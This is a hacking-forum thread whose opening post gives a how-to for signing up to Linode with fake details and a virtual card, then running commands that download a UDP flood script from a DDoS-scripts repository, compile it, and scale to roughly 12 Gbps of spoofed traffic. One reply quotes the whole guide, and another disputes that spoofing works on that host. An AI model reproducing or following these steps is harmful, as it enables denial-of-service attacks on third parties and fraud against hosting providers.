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How to get free server for SST purposes. #1
You need:

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1. Fake information
2. VCC with $1 on it
3. An SSH client.

Go sign up for linode, you get $100 worth of credit, use a VDS not a VPS or you will get suspended. Doesn't work with AMP scripts.

Create an instance, and install CentOS 7.

Run the following commands
Code:
sudo yum install gcc
sudo yum update
sudo yum install cpan -y
cpan
install Net::RawIP


Next us wget it likely will not be installed by default so just run
Code:
yum install wget -y

then download the script with
wget https://raw.githubusercontent.com/vbooter/DDoS-Scripts/master/UDP.c
chmod +x UDP.c
gcc UDP.c -o udpflood -pthread

I recommend getting 3 of the 4 GB servers for a total output of 12 GBps. But now you have a server that uses spoofed udp.
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(This post was last modified: 05-07-2022, 02:31 AM by PYA.)

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RE: How to get free server for SST purposes. #2
very useful info thank you

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RE: How to get free server for SST purposes. #3
What is VCC i dont what it is

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RE: How to get free server for SST purposes. #4
(05-06-2022, 03:36 PM)PYA Wrote: You need:

[hide]
1. Fake information
2.  VCC with $1 on it
3. An SSH client.

Go sign up for linode, you get $100 worth of cred, use a VDS not a VPS or you will get suspended. Doesn't work with AMP scripts.

Create an instance, and install CentOS 7.

Run the following commands
Code:
sudo yum install gcc
sudo yum update
sudo yum install cpan -y
cpan
install Net::RawIP


Next us wget it likely will not be installed by default so just run
Code:
yum install wget -y

then download the script with
wget https://raw.githubusercontent. com/vbooter/DDoS-Scripts/master/UDP.c
chmod +x UDP.c
gcc UDP.c -o udpflood -pthread

I recommend getting 3 of the 4 GB servers for a total output of 12 GBps. But now you have a server that uses spoofed udp.
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This statement is entirely incorrect. Linode actively blocks all attempts to modify IP headers (IPHM). Consequently, if you try to initiate a Denial of Service (DoS) attack using your Linode server, the target will receive the attack with the source IP address originating from your Linode server's IP.

For evidence confirming Linode's blocking of IPHM / spoofing, you can refer to the following link: https://spoofer.caida.org/as.php?asn=63949.

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